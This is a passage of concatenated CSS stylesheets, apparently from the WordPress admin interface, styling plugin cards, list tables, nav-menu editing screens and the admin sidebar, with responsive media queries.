}

.plugin-card .desc {
	margin-inline: 0;
}

.plugin-card .name, .plugin-card .desc > p {
	margin-left: 148px;
}

@media (min-width: 1101px) {
	.plugin-card .name, .plugin-card .desc > p {
		margin-right: 128px;
	}
}

@media (min-width: 481px) and (max-width: 781px) {
	.plugin-card .name, .plugin-card .desc > p {
		margin-right: 128px;
	}
}

.plugin-card .column-description {
	display: flex;
	flex-direction: column;
	justify-content: flex-start;
}

.plugin-card .column-description > p {
	margin-top: 0;
}

.plugin-card .column-description p:empty {
	display: none;
}

.plugin-card .notice.plugin-dependencies {
	margin: auto 20px 20px;
	padding: 15px;
}

.plugin-card .plugin-dependencies-explainer-text {
	margin-block: 0;
}

.plugin-card .plugin-dependency {
	align-items: center;
	display: flex;
	flex-wrap: wrap;
	margin-top: .5em;
	column-gap: 1%;
	row-gap: .5em;
}

.plugin-card .plugin-dependency:nth-child(2),
.plugin-card .plugin-dependency:last-child {
	margin-top: 1em;
}

.plugin-card .plugin-dependency-name {
	flex-basis: 74%;
}

.plugin-card .plugin-dependency .more-details-link {
	margin-left: auto;
}

.rtl .plugin-card .plugin-dependency .more-details-link {
	margin-right: auto;
}

@media (max-width: 939px) {
	.plugin-card .plugin-dependency-name {
		flex-basis: 69%;
	}
}

.plugins #the-list .required-by,
.plugins #the-list .requires {
	margin-top: 1em;
}

.plugin-card .action-links {
	position: absolute;
	top: 20px;
	right: 20px;
	width: 120px;
}

.plugin-action-buttons {
	clear: right;
	float: right;
	margin-bottom: 1em;
	text-align: right;
}

.plugin-action-buttons li {
	margin-bottom: 10px;
}

.plugin-card-bottom {
	clear: both;
	padding: 12px 20px;
	background-color: #f6f7f7;
	border-top: 1px solid #dcdcde;
	overflow: hidden;
}

.plugin-card-bottom .star-rating {
	display: inline;
}

.plugin-card-update-failed .update-now {
	font-weight: 600;
}

.plugin-card-update-failed .notice-error {
	margin: 0;
	padding-left: 16px;
	box-shadow: 0 -1px 0 #dcdcde;
}

.plugin-card-update-failed .plugin-card-bottom {
	display: none;
}

.plugin-card .column-rating {
	line-height: 1.76923076;
}

.plugin-card .column-rating,
.plugin-card .column-updated {
	margin-bottom: 4px;
}

.plugin-card .column-rating,
.plugin-card .column-downloaded {
	float: left;
	clear: left;
	max-width: 180px;
}

.plugin-card .column-updated,
.plugin-card .column-compatibility {
	text-align: right;
	float: right;
	clear: right;
	width: 65%;
	width: calc( 100% - 180px );
}

.plugin-card .column-compatibility span:before {
	font: normal 20px/.5 dashicons;
	speak: never;
	display: inline-block;
	padding: 0;
	top: 4px;
	left: -2px;
	position: relative;
	vertical-align: top;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	text-decoration: none !important;
	color: #3c434a;
}

.plugin-card .column-compatibility .compatibility-incompatible:before {
	content: "\f158";
	color: #d63638;
}

.plugin-card .column-compatibility .compatibility-compatible:before {
	content: "\f147";
	color: #007017;
}

.plugin-card .notice {
	margin: 20px 20px 0;
}

.plugin-icon {
	position: absolute;
	top: 20px;
	left: 20px;
	width: 128px;
	height: 128px;
	margin: 0 20px 20px 0;
}

.no-plugin-results {
	color: #646970; /* same as no themes and no media */
	font-size: 18px;
	font-style: normal;
	margin: 0;
	padding: 100px 0 0;
	width: 100%;
	text-align: center;
}

/* ms */
/* Background Color for Site Status */
.wp-list-table .site-deleted,
.wp-list-table tr.site-deleted,
.wp-list-table .site-archived,
.wp-list-table tr.site-archived {
	background: #fcf0f1;
}
.wp-list-table .site-spammed,
.wp-list-table tr.site-spammed,
.wp-list-table .site-mature,
.wp-list-table tr.site-mature {
	background: #fcf9e8;
}

.sites.fixed .column-lastupdated,
.sites.fixed .column-registered {
	width: 20%;
}

.sites.fixed .column-users {
	width: 80px;
}

/* =Media Queries
-------------------------------------------------------------- */

@media screen and (max-width: 1100px) and (min-width: 782px), (max-width: 480px) {
	.plugin-card .action-links {
		position: static;
		margin-left: 148px;
		width: auto;
	}

	.plugin-action-buttons {
		float: none;
		margin: 1em 0 0;
		text-align: left;
	}

	.plugin-action-buttons li {
		display: inline-block;
		vertical-align: middle;
	}

	.plugin-action-buttons li .button {
		margin-right: 20px;
	}

	.plugin-card h3 {
		margin-right: 24px;
	}

	.plugin-card .name,
	.plugin-card .desc {
		margin-right: 0;
	}

	.plugin-card .desc p:first-of-type {
		margin-top: 0;
	}
}

@media screen and (max-width: 782px) {
	/* WP List Table Options & Filters */
	.tablenav {
		height: auto;
	}

	.tablenav.top {
		margin: 20px 0 5px;
	}

	.tablenav.bottom {
		position: relative;
		margin-top: 15px;
	}

	.tablenav br {
		display: none;
	}

	.tablenav br.clear {
		display: block;
	}

	.tablenav.top .actions,
	.tablenav .view-switch {
		display: none;
	}

	.view-switch a {
		width: 36px;
		height: 36px;
		line-height: 2.53846153;
	}

	/* Pagination */
	.tablenav.top .displaying-num {
		display: none;
	}

	.tablenav.bottom .displaying-num {
		position: absolute;
		right: 0;
		top: 11px;
		margin: 0;
		font-size: 14px;
	}

	.tablenav .tablenav-pages {
		width: 100%;
		text-align: center;
		margin: 0 0 25px;
	}

	.tablenav.bottom .tablenav-pages {
		margin-top: 25px;
	}

	.tablenav.top .tablenav-pages.one-page {
		display: none;
	}

	.tablenav.bottom .actions select {
		margin-bottom: 5px;
	}

	.tablenav.bottom .actions.alignleft + .actions.alignleft {
		clear: left;
		margin-top: 10px;
	}

	.tablenav.bottom .tablenav-pages.one-page {
		margin-top: 15px;
		height: 0;
	}

	.tablenav-pages .pagination-links {
		font-size: 16px;
	}

	.tablenav .tablenav-pages .button,
	.tablenav .tablenav-pages .tablenav-pages-navspan {
		min-width: 44px;
		padding: 12px 8px;
		font-size: 18px;
		line-height: 1;
	}

	.tablenav-pages .pagination-links .current-page {
		min-width: 44px;
		padding: 12px 6px;
		font-size: 16px;
		line-height: 1.125;
	}

	/* WP List Table Adjustments: General */
	.form-wrap > p {
		display: none;
	}

	.wp-list-table th.column-primary ~ th,
	.wp-list-table tr:not(.inline-edit-row):not(.no-items) td.column-primary ~ td:not(.check-column) {
		display: none;
	}

	.wp-list-table thead th.column-primary {
		width: 100%;
	}

	/* Checkboxes need to show */
	.wp-list-table tr th.check-column {
		display: table-cell;
	}

	.wp-list-table .check-column {
		width: 2.5em;
	}

	.wp-list-table .column-primary .toggle-row {
		display: block;
	}

	.wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.check-column) {
		position: relative;
		clear: both;
		width: auto !important; /* needs to override some columns that are more specifically targeted */
	}

	.wp-list-table td.column-primary {
		padding-right: 50px; /* space for toggle button */
	}

	.wp-list-table tr:not(.inline-edit-row):not(.no-items) td.column-primary ~ td:not(.check-column) {
		padding: 3px 8px 3px 35%;
	}

	.wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.column-primary)::before {
		position: absolute;
		left: 10px; /* match padding of regular table cell */
		display: block;
		overflow: hidden;
		width: 32%; /* leave a little space for a gutter */
		content: attr(data-colname);
		white-space: nowrap;
		text-overflow: ellipsis;
	}

	.wp-list-table .is-expanded td:not(.hidden) {
		display: block !important;
		overflow: hidden; /* clearfix */
	}

	/* Special cases */
	.widefat .num,
	.column-posts {
		text-align: left;
	}

	#comments-form .fixed .column-author,
	#commentsdiv .fixed .column-author {
		display: none !important;
	}

	.fixed .column-comment .comment-author {
		display: block;
	}

	/* Comment author hidden via Screen Options */
	.fixed .column-author.hidden ~ .column-comment .comment-author {
		display: none;
	}

	#the-comment-list .is-expanded td {
		box-shadow: none;
	}

	#the-comment-list .is-expanded td:last-child {
		box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
	}

	/* Show comment bubble as text instead */
	.post-com-count .screen-reader-text {
		position: static;
		-webkit-clip-path: none;
		clip-path: none;
		width: auto;
		height: auto;
		margin: 0;
	}

	.column-response .post-com-count-no-comments:after,
	.column-response .post-com-count-approved:after,
	.column-comments .post-com-count-no-comments:after,
	.column-comments .post-com-count-approved:after {
		content: none;
	}

	.column-response .post-com-count [aria-hidden="true"],
	.column-comments .post-com-count [aria-hidden="true"] {
		display: none;
	}

	.column-response .post-com-count-wrapper,
	.column-comments .post-com-count-wrapper {
		white-space: normal;
	}

	.column-response .post-com-count-wrapper > a,
	.column-comments .post-com-count-wrapper > a {
		display: block;
	}

	.column-response .post-com-count-no-comments,
	.column-response .post-com-count-approved,
	.column-comments .post-com-count-no-comments,
	.column-comments .post-com-count-approved {
		margin-top: 0;
		margin-right: 0.5em;
	}

	.column-response .post-com-count-pending,
	.column-comments .post-com-count-pending {
		position: static;
		height: auto;
		min-width: 0;
		padding: 0;
		border: none;
		border-radius: 0;
		background: none;
		color: #b32d2e;
		font-size: inherit;
		line-height: inherit;
		text-align: left;
	}

	.column-response .post-com-count-pending:hover,
	.column-comments .post-com-count-pending:hover {
		color: #d63638;
	}

	.widefat thead td.check-column,
	.widefat tfoot td.check-column {
		padding-top: 10px;
	}

	.row-actions {
		margin-left: -8px;
		margin-right: -8px;
		padding-top: 4px;
	}

	/* Make row actions more easy to select on mobile */
	body:not(.plugins-php) .row-actions {
		display: flex;
		flex-wrap: wrap;
		gap: 8px;
		color: transparent;
	}

	.row-actions span a,
	.row-actions span .button-link {
		display: inline-block;
		padding: 4px 8px;
		line-height: 1.5;
	}

	.row-actions span.approve:before,
	.row-actions span.unapprove:before {
		content: "| ";
	}

	/* Quick Edit and Bulk Edit */
	#wpbody-content .quick-edit-row-post .inline-edit-col-left,
	#wpbody-content .quick-edit-row-post .inline-edit-col-right,
	#wpbody-content .inline-edit-row-post .inline-edit-col-center,
	#wpbody-content .quick-edit-row-page .inline-edit-col-left,
	#wpbody-content .quick-edit-row-page .inline-edit-col-right,
	#wpbody-content .bulk-edit-row-post .inline-edit-col-right,
	#wpbody-content .bulk-edit-row .inline-edit-col-left,
	#wpbody-content .bulk-edit-row-page .inline-edit-col-right,
	#wpbody-content .bulk-edit-row .inline-edit-col-bottom {
		float: none;
		width: 100%;
		padding: 0;
	}

	#the-list .inline-edit-row .inline-edit-legend,
	.inline-edit-row span.title {
		font-size: 16px;
	}

	.inline-edit-row p.howto {
		font-size: 14px;
	}

	#wpbody-content .inline-edit-row-page .inline-edit-col-right {
		margin-top: 0;
	}

	#wpbody-content .quick-edit-row fieldset .inline-edit-col label,
	#wpbody-content .quick-edit-row fieldset .inline-edit-group label,
	#wpbody-content .bulk-edit-row fieldset .inline-edit-col label,
	#wpbody-content .bulk-edit-row fieldset .inline-edit-group label {
		max-width: none;
		float: none;
		margin-bottom: 5px;
	}

	#wpbody .bulk-edit-row fieldset select {
		display: block;
		width: 100%;
		max-width: none;
		box-sizing: border-box;
	}

	.inline-edit-row fieldset input[name=jj],
	.inline-edit-row fieldset input[name=hh],
	.inline-edit-row fieldset input[name=mn],
	.inline-edit-row fieldset input[name=aa] {
		font-size: 16px;
		line-height: 2;
		padding: 3px 4px;
	}

	#bulk-titles .ntdelbutton,
	#bulk-titles .ntdeltitle,
	.inline-edit-row fieldset ul.cat-checklist label {
		padding: 6px 0;
		font-size: 16px;
		line-height: 28px;
	}

	#bulk-titles .ntdelitem {
		padding-left: 37px;
	}

	#bulk-titles .ntdelbutton {
		width: 40px;
		height: 40px;
		margin: 0 0 0 -40px;
		overflow: hidden;
	}

	#bulk-titles .ntdelbutton:before {
		font-size: 20px;
		line-height: 28px;
	}

	.inline-edit-row fieldset label span.title,
	.inline-edit-row fieldset.inline-edit-date legend {
		float: none;
	}

	.inline-edit-row fieldset .inline-edit-col label.inline-edit-tags {
		padding: 0;
	}

	.inline-edit-row fieldset label span.input-text-wrap,
	.inline-edit-row fieldset .timestamp-wrap {
		margin-left: 0;
	}

	.inline-edit-row .inline-edit-or {
		margin: 0 6px 0 0;
	}

	#edithead .inside,
	#commentsdiv #edithead .inside {
		float: none;
		text-align: left;
		padding: 3px 5px;
	}

	#commentsdiv #edithead .inside input,
	#edithead .inside input {
		width: 100%;
	}

	#edithead label {
		display: block;
	}

	/* Updates */
	#wpbody-content .updates-table .plugin-title {
		width: auto;
		white-space: normal;
	}

	/* Links */
	.link-manager-php #posts-filter {
		margin-top: 25px;
	}

	.link-manager-php .tablenav.bottom {
		overflow: hidden;
	}

	/* List tables that don't toggle rows */
	.comments-box .toggle-row,
	.wp-list-table.plugins .toggle-row {
		display: none;
	}

	/* Plugin/Theme Management */
	#wpbody-content .wp-list-table.plugins td {
		display: block;
		width: auto;
		padding: 10px 9px; /* reset from other list tables that have a label at this width */
	}

	#wpbody-content .wp-list-table.plugins .plugin-deleted-tr td,
	#wpbody-content .wp-list-table.plugins .no-items td {
		display: table-cell;
	}

	/* Plugin description hidden via Screen Options */
	#wpbody-content .wp-list-table.plugins .desc.hidden {
		display: none;
	}

	#wpbody-content .wp-list-table.plugins .column-description {
		padding-top: 2px;
	}

	#wpbody-content .wp-list-table.plugins .plugin-title,
	#wpbody-content .wp-list-table.plugins .theme-title {
		padding-right: 12px;
		white-space: normal;
	}

	.wp-list-table.plugins .plugin-title,
	.wp-list-table.plugins .theme-title {
		padding-top: 13px;
		padding-bottom: 4px;
	}

	.plugins #the-list tr > td:not(:last-child),
	.plugins #the-list .update th,
	.plugins #the-list .update td,
	.wp-list-table.plugins #the-list .theme-title {
		box-shadow: none;
		border-top: none;
	}

	.plugins #the-list tr td {
		border-top: none;
	}

	.plugins tbody {
		padding: 1px 0 0;
	}

	.plugins tr.active + tr.inactive th.check-column,
	.plugins tr.active + tr.inactive td.column-description,
	.plugins .plugin-update-tr:before {
		box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
	}

	.plugins tr.active + tr.inactive th.check-column,
	.plugins tr.active + tr.inactive td {
		border-top: none;
	}

	/* mimic the checkbox th */
	.plugins .plugin-update-tr:before {
		content: "";
		display: table-cell;
	}

	.plugins #the-list .plugin-update-tr .plugin-update {
		border-left: none;
	}

	.plugin-update-tr .update-message {
		margin-left: 0;
	}

	.plugins .active.update + .plugin-update-tr:before,
	.plugins .active.updated + .plugin-update-tr:before {
		background-color: #f0f6fc;
		border-left: 4px solid #72aee6;
	}

	.plugins .plugin-update-tr .update-message {
		margin-left: 0;
	}

	.wp-list-table.plugins .plugin-title strong,
	.wp-list-table.plugins .theme-title strong {
		font-size: 1.4em;
		line-height: 1.5;
	}

	.plugins tbody th.check-column {
		padding: 8px 0 0 5px;
	}

	.plugins thead td.check-column,
	.plugins tfoot td.check-column,
	.plugins .inactive th.check-column {
		padding-left: 9px;
	}

	/* Add New plugins page */
	table.plugin-install .column-name,
	table.plugin-install .column-version,
	table.plugin-install .column-rating,
	table.plugin-install .column-description {
		display: block;
		width: auto;
	}

	table.plugin-install th.column-name,
	table.plugin-install th.column-version,
	table.plugin-install th.column-rating,
	table.plugin-install th.column-description {
		display: none;
	}

	table.plugin-install td.column-name strong {
		font-size: 1.4em;
		line-height: 1.6em;
	}

	table.plugin-install #the-list td {
		box-shadow: none;
	}

	table.plugin-install #the-list tr {
		display: block;
		box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
	}

	.plugin-card {
		margin-left: 0;
		margin-right: 0;
		width: 100%;
	}

	table.media .column-title .has-media-icon ~ .row-actions {
		margin-left: 0;
		clear: both;
	}
}

@media screen and (max-width: 480px) {
	.tablenav-pages .current-page {
		margin: 0;
	}

	.tablenav.bottom .displaying-num {
		position: relative;
		top: 0;
		display: block;
		text-align: right;
		padding-bottom: 0.5em;
	}

	.tablenav.bottom .tablenav-pages.one-page {
		height: auto;
	}

	.tablenav-pages .tablenav-paging-text {
		float: left;
		width: 100%;
		padding-top: 0.5em;
	}
}
/*! This file is auto-generated */
.no-js #message{display:block}ul.add-menu-item-tabs li{padding:3px 8px 4px 5px}.accordion-section ul.add-menu-item-tabs,.accordion-section ul.category-tabs,.accordion-section ul.wp-tab-bar{margin:0}.accordion-section .categorychecklist{margin:13px 0}#nav-menu-meta .accordion-section-content{padding:18px 13px}#nav-menu-meta .button-controls{margin-bottom:0}.has-no-menu-item .button-controls{display:none}#nav-menus-frame{margin-right:300px;margin-top:23px}#wpbody-content #menu-settings-column{display:inline;width:281px;margin-right:-300px;clear:both;float:right;padding-top:0}#menu-settings-column .inside{clear:both;margin:10px 0 0}.metabox-holder-disabled .accordion-section-content,.metabox-holder-disabled .accordion-section-title,.metabox-holder-disabled .postbox{opacity:.5}.metabox-holder-disabled .button-controls .select-all{display:none}#wpbody{position:relative}.is-submenu{color:#50575e;font-style:italic;font-weight:400;margin-right:4px}.manage-menus{margin-top:23px;padding:10px;overflow:hidden;background:#fff}.manage-menus .selected-menu,.manage-menus .submit-btn,.manage-menus select,.nav-menus-php .add-new-menu-action{display:inline-block;margin-left:3px;vertical-align:middle}.manage-menus select,.menu-location-menus select{max-width:100%}.menu-edit #post-body-content h3{margin:1em 0 10px}#nav-menu-bulk-actions-top{margin:1em 0}#nav-menu-bulk-actions-bottom{margin:1em 0;margin:calc(1em + 9px) 0}.bulk-actions input.button{margin-left:12px}.bulk-select-button{position:relative;display:inline-block;padding:0 10px;font-size:13px;line-height:2.15384615;height:auto;min-height:30px;background:#f6f7f7;vertical-align:top;border:1px solid #dcdcde;margin:0;cursor:pointer;border-radius:3px;white-space:nowrap;box-sizing:border-box}.bulk-selection .bulk-select-button{color:#2271b1;border-color:#2271b1;background:#f6f7f7;vertical-align:top}#pending-menu-items-to-delete{display:none}.bulk-selection #pending-menu-items-to-delete{display:block;margin-top:1em}#pending-menu-items-to-delete p{margin-bottom:0}#pending-menu-items-to-delete ul{margin-top:0;list-style:none}#pending-menu-items-to-delete ul li{display:inline}input.bulk-select-switcher+.bulk-select-button-label{vertical-align:inherit}label.bulk-select-button:active,label.bulk-select-button:focus-within,label.bulk-select-button:hover{background:#f0f0f1;border-color:#0a4b78;color:#0a4b78}input.bulk-select-switcher:focus+.bulk-select-button-label{color:#0a4b78}.bulk-actions input.menu-items-delete{-webkit-appearance:none;appearance:none;font-size:inherit;border:0;line-height:2.1em;background:0 0;cursor:pointer;text-decoration:underline;color:#b32d2e}.bulk-actions input.menu-items-delete:hover{color:#b32d2e;border:none}.bulk-actions input.menu-items-delete.disabled{display:none}.menu-settings{border-top:1px solid #f0f0f1;margin-top:2em}.menu-settings-group{margin:0 0 10px;overflow:hidden;padding-right:20%}.menu-settings-group:last-of-type{margin-bottom:0}.menu-settings-input{float:right;margin:0;width:100%}.menu-settings-group-name{float:right;clear:both;width:25%;padding:3px 0 0;margin-right:-25%}.menu-settings label{vertical-align:baseline}.menu-edit .checkbox-input{margin-top:4px}.theme-location-set{color:#646970;font-size:11px}#menu-management-liquid{float:right;min-width:100%;margin-top:3px}#menu-management{position:relative;margin-left:20px;margin-top:-3px;width:100%}#menu-management .menu-edit{margin-bottom:20px}.nav-menus-php #post-body{padding:0 10px;border-top:1px solid #fff;border-bottom:1px solid #dcdcde;background:#fff}#nav-menu-footer,#nav-menu-header{padding:0 10px;background:#f6f7f7}#nav-menu-header{border-bottom:1px solid #dcdcde;margin-bottom:0}#nav-menu-header .menu-name-label{display:inline-block;vertical-align:middle;margin-left:7px}.nav-menus-php #post-body div.error,.nav-menus-php #post-body div.updated{margin:0}.nav-menus-php #post-body-content{position:relative;float:none}.nav-menus-php #post-body-content .post-body-plain{margin-bottom:0}#menu-management .menu-add-new abbr{font-weight:600}#select-nav-menu-container{text-align:left;padding:0 10px 3px;margin-bottom:5px}#select-nav-menu{width:100px;display:inline}#menu-name-label{margin-top:-2px}.widefat .menu-locations .menu-location-title{padding:13px 10px 0}.menu-location-title label{font-weight:600}.menu-location-menus select{float:right}#locations-nav-menu-wrapper{padding:5px 0}.locations-nav-menu-select select{float:right;width:160px;margin-left:5px}.locations-row-links{float:right;margin:6px 6px 0 0}.locations-add-menu-link,.locations-edit-menu-link{margin:0 3px}.locations-edit-menu-link{padding-left:3px;border-left:1px solid #c3c4c7}#menu-management .inside{padding:0 10px}.customlinkdiv .menu-item-textbox,.postbox .howto input{width:180px;float:left}.accordion-container .outer-border{margin:0}.customlinkdiv p{margin-top:0}#nav-menu-theme-locations .howto select{width:100%}#nav-menu-theme-locations .button-controls{text-align:left}.add-menu-item-view-all{height:400px}#menu-container .submit{margin:0 0 10px;padding:0}#cancel-save{text-decoration:underline;font-size:12px;margin-right:20px;margin-top:5px}.button-primary.right,.button-secondary.right,.button.right{float:left}.list-controls{float:right;margin-top:5px}.add-to-menu{float:left}.button-controls{clear:both;margin:10px 0}.hide-all,.show-all{cursor:pointer}.hide-all{display:none}#menu-name{width:270px;vertical-align:middle}#manage-menu .inside{padding:0}#available-links dt{display:block}#add-custom-link .howto{font-size:12px}#add-custom-link label span{display:block;float:right;margin-top:5px;padding-left:5px}.menu-item-textbox{width:180px}.customlinkdiv label,.nav-menus-php .howto span{float:right;margin-top:6px}.quick-search{width:190px}.quick-search-wrap .spinner{float:none;margin:-3px 0 0 -10px}.nav-menus-php .list-wrap{display:none;clear:both;margin-bottom:10px}.nav-menus-php .postbox p.submit{margin-bottom:0}.nav-menus-php .list li{display:none;margin:0 0 5px}.nav-menus-php .list li .menu-item-title{cursor:pointer;display:block}.nav-menus-php .list li .menu-item-title input{margin-left:3px;margin-top:-3px}.menu-item-title input[type=checkbox]{display:inline-block;margin-top:-4px}.menu-item-title .post-state{font-weight:600}#menu-container .inside{padding-bottom:10px}.menu{padding-top:1em}#menu-to-edit{margin:0;padding:.1em 0}.menu ul{width:100%}.menu li{margin-bottom:0;position:relative}.menu-item-bar{clear:both;line-height:1.5;position:relative;margin:9px 0 0}.menu-item-bar .menu-item-handle{border:1px solid #dcdcde;position:relative;padding:10px 15px;height:auto;min-height:20px;max-width:382px;line-height:2.30769230;overflow:hidden;word-wrap:break-word}.menu-item-bar .menu-item-handle:hover{border-color:#8c8f94}#menu-to-edit .menu-item-invalid .menu-item-handle{background:#fcf0f1;border-color:#d63638}.no-js .menu-item-edit-active .item-edit{display:none}.js .menu-item-handle{cursor:move}.menu li.deleting .menu-item-handle{background-image:none;background-color:#f86368}.menu-item-handle .item-title{font-size:13px;font-weight:600;line-height:1.53846153;display:block;margin-left:13em}.menu-item-handle .menu-item-checkbox{display:none}.bulk-selection .menu-item-handle .menu-item-checkbox{display:inline-block;margin-left:6px}.menu-item-handle .menu-item-title.no-title{color:#646970}li.menu-item.ui-sortable-helper .menu-item-bar{margin-top:0}li.menu-item.ui-sortable-helper .menu-item-transport .menu-item-bar{margin-top:9px}.menu .sortable-placeholder{height:35px;width:410px;margin-top:9px}.menu-item .menu-item-transport:empty{display:none}.menu-item-depth-0{margin-right:0}.menu-item-depth-1{margin-right:30px}.menu-item-depth-2{margin-right:60px}.menu-item-depth-3{margin-right:90px}.menu-item-depth-4{margin-right:120px}.menu-item-depth-5{margin-right:150px}.menu-item-depth-6{margin-right:180px}.menu-item-depth-7{margin-right:210px}.menu-item-depth-8{margin-right:240px}.menu-item-depth-9{margin-right:270px}.menu-item-depth-10{margin-right:300px}.menu-item-depth-11{margin-right:330px}.menu-item-depth-0 .menu-item-transport{margin-right:0}.menu-item-depth-1 .menu-item-transport{margin-right:-30px}.menu-item-depth-2 .menu-item-transport{margin-right:-60px}.menu-item-depth-3 .menu-item-transport{margin-right:-90px}.menu-item-depth-4 .menu-item-transport{margin-right:-120px}.menu-item-depth-5 .menu-item-transport{margin-right:-150px}.menu-item-depth-6 .menu-item-transport{margin-right:-180px}.menu-item-depth-7 .menu-item-transport{margin-right:-210px}.menu-item-depth-8 .menu-item-transport{margin-right:-240px}.menu-item-depth-9 .menu-item-transport{margin-right:-270px}.menu-item-depth-10 .menu-item-transport{margin-right:-300px}.menu-item-depth-11 .menu-item-transport{margin-right:-330px}body.menu-max-depth-0{min-width:950px!important}body.menu-max-depth-1{min-width:980px!important}body.menu-max-depth-2{min-width:1010px!important}body.menu-max-depth-3{min-width:1040px!important}body.menu-max-depth-4{min-width:1070px!important}body.menu-max-depth-5{min-width:1100px!important}body.menu-max-depth-6{min-width:1130px!important}body.menu-max-depth-7{min-width:1160px!important}body.menu-max-depth-8{min-width:1190px!important}body.menu-max-depth-9{min-width:1220px!important}body.menu-max-depth-10{min-width:1250px!important}body.menu-max-depth-11{min-width:1280px!important}.item-type{display:inline-block;padding:12px 16px;color:#646970;font-size:12px;line-height:1.5}.item-controls{font-size:12px;position:absolute;left:20px;top:-1px}.item-controls a{text-decoration:none}.item-controls a:hover{cursor:pointer}.item-controls .item-order{padding-left:10px}.nav-menus-php .item-edit{position:absolute;left:-20px;top:0;display:block;width:30px;height:40px;outline:0}.no-js.nav-menus-php .item-edit{position:static;float:left;width:auto;height:auto;margin:12px 0 12px -10px;padding:0;color:#2271b1;text-decoration:underline;font-size:12px;line-height:1.5}.no-js.nav-menus-php .item-edit .screen-reader-text{position:static;-webkit-clip-path:none;clip-path:none;width:auto;height:auto;margin:0}.nav-menus-php .item-edit:before{margin-top:10px;margin-right:4px;width:20px;border-radius:50%;text-indent:-1px}.no-js.nav-menus-php .item-edit:before{display:none}.rtl .nav-menus-php .item-edit:before{text-indent:1px}.js.nav-menus-php .item-edit:focus{box-shadow:none}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.menu-instructions-inactive{display:none}.menu-item-settings{display:block;max-width:392px;padding:10px;position:relative;z-index:10;border:1px solid #c3c4c7;border-top:none;box-shadow:0 1px 1px rgba(0,0,0,.04)}.menu-item-settings .field-move{margin:3px 0 5px;line-height:1.5}.field-move-visual-label{float:right;margin-left:4px}.menu-item-settings .field-move .button-link{display:none;margin:0 2px}.menu-item-edit-active .menu-item-settings{display:block}.menu-item-edit-inactive .menu-item-settings{display:none}.add-menu-item-pagelinks{margin:.5em -10px;text-align:center}.add-menu-item-pagelinks .page-numbers{display:inline-block;min-width:20px}.add-menu-item-pagelinks .page-numbers.dots{min-width:0}.link-to-original{display:block;margin:0 0 15px;padding:3px 5px 5px;border:1px solid #dcdcde;color:#646970;font-size:12px}.link-to-original a{padding-right:4px;font-style:normal}.hidden-field{display:none}.menu-item-settings .description-thin,.menu-item-settings .description-wide{margin-left:10px;float:right}.description-thin{width:calc(50% - 5px)}.menu-item-settings .description-thin+.description-thin{margin-left:0}.description-wide{width:100%}.menu-item-actions{padding-top:15px;padding-bottom:7px}#cancel-save{cursor:pointer}.nav-menus-php .major-publishing-actions{padding:10px 0;display:flex;align-items:center}.nav-menus-php .major-publishing-actions>*{margin-left:10px}.nav-menus-php .major-publishing-actions .form-invalid{padding-right:4px;margin-right:-4px}#menu-item-name-wrap,#menu-item-url-wrap,#nav-menus-frame,.button-controls{display:block}@media only screen and (min-width:769px) and (max-width:1000px){body.menu-max-depth-0{min-width:0!important}#menu-management-liquid{width:100%}.nav-menus-php #post-body-content{min-width:0}}@media screen and (max-width:782px){body.nav-menus-php,body.wp-customizer{min-width:0!important}#nav-menus-frame{margin-right:0;float:none;width:100%}#wpbody-content #menu-settings-column{display:block;width:100%;float:none;margin-right:0}#side-sortables .add-menu-item-tabs{margin:15px 0 14px}ul.add-menu-item-tabs li.tabs{padding:13px 15px 14px}.nav-menus-php .customlinkdiv .howto input{width:65%}.nav-menus-php .quick-search{width:85%}#menu-management-liquid{margin-top:25px}.nav-menus-php .menu-name-label.howto span{margin-top:13px}#menu-name{width:100%}.nav-menus-php #nav-menu-header .major-publishing-actions .publishing-action{padding-top:1em}.nav-menus-php .delete-action{font-size:14px;line-height:2.14285714}.description-wide,.menu-item-bar .menu-item-handle,.menu-item-settings{width:auto}.menu-item-settings{padding:10px}.menu-item-settings .description-thin,.menu-item-settings .description-wide{width:100%}.menu-item-settings input{width:100%}.menu-item-settings input[type=checkbox],.menu-item-settings input[type=radio]{width:25px}.menu-settings-group{padding-right:0;overflow:visible}.menu-settings-group-name{float:none;width:auto;margin-right:0;margin-bottom:15px}.menu-settings-input{float:none;margin-bottom:15px}.menu-edit .checkbox-input{margin-top:0}.manage-menus select{margin:.5em 0}.wp-core-ui .manage-menus .button{margin-bottom:0}.widefat .menu-locations .menu-location-title{padding-top:16px}}@media only screen and (min-width:783px){@supports (position:sticky) and (scroll-margin-bottom:130px){#nav-menu-footer{position:sticky;bottom:0;z-index:10;box-shadow:0 -1px 0 0 #ddd}#save_menu_header{display:none}}}@media only screen and (max-width:768px){#menu-locations-wrap .widefat{width:100%}.bulk-select-button{padding:5px 10px}}#adminmenuback,
#adminmenuwrap,
#adminmenu,
#adminmenu .wp-submenu {
	width: 160px;
	background-color: #1d2327;
}

#adminmenuback {
	position: fixed;
	top: 0;
	bottom: -120px;
	z-index: 1; /* positive z-index to avoid elastic scrolling woes in Safari */
}

.php-error #adminmenuback {
	position: absolute;
}

.php-error #adminmenuback,
.php-error #adminmenuwrap {
	margin-top: 2em;
}

#adminmenu {
	clear: left;
	margin: 12px 0;
	padding: 0;
	list-style: none;
}

.folded #adminmenuback,
.folded #adminmenuwrap,
.folded #adminmenu,
.folded #adminmenu li.menu-top {
	width: 36px;
}

/* New Menu icons */

/* hide background-image for icons above */
.menu-icon-dashboard div.wp-menu-image,
.menu-icon-post div.wp-menu-image,
.menu-icon-media div.wp-menu-image,
.menu-icon-links div.wp-menu-image,
.menu-icon-page div.wp-menu-image,
.menu-icon-comments div.wp-menu-image,
.menu-icon-appearance div.wp-menu-image,
.menu-icon-plugins div.wp-menu-image,
.menu-icon-users div.wp-menu-image,
.menu-icon-tools div.wp-menu-image,
.menu-icon-settings div.wp-menu-image,
.menu-icon-site div.wp-menu-image,
.menu-icon-generic div.wp-menu-image {
	background-image: none !important;
}

/*------------------------------------------------------------------------------
  7.0 - Main Navigation (Left Menu)
------------------------------------------------------------------------------*/

#adminmenuwrap {
	position: relative;
	float: left;
	z-index: 9990;
}

/* side admin menu */
#adminmenu * {
	-webkit-user-select: none;
	user-select: none;
}

#adminmenu li {
	margin: 0;
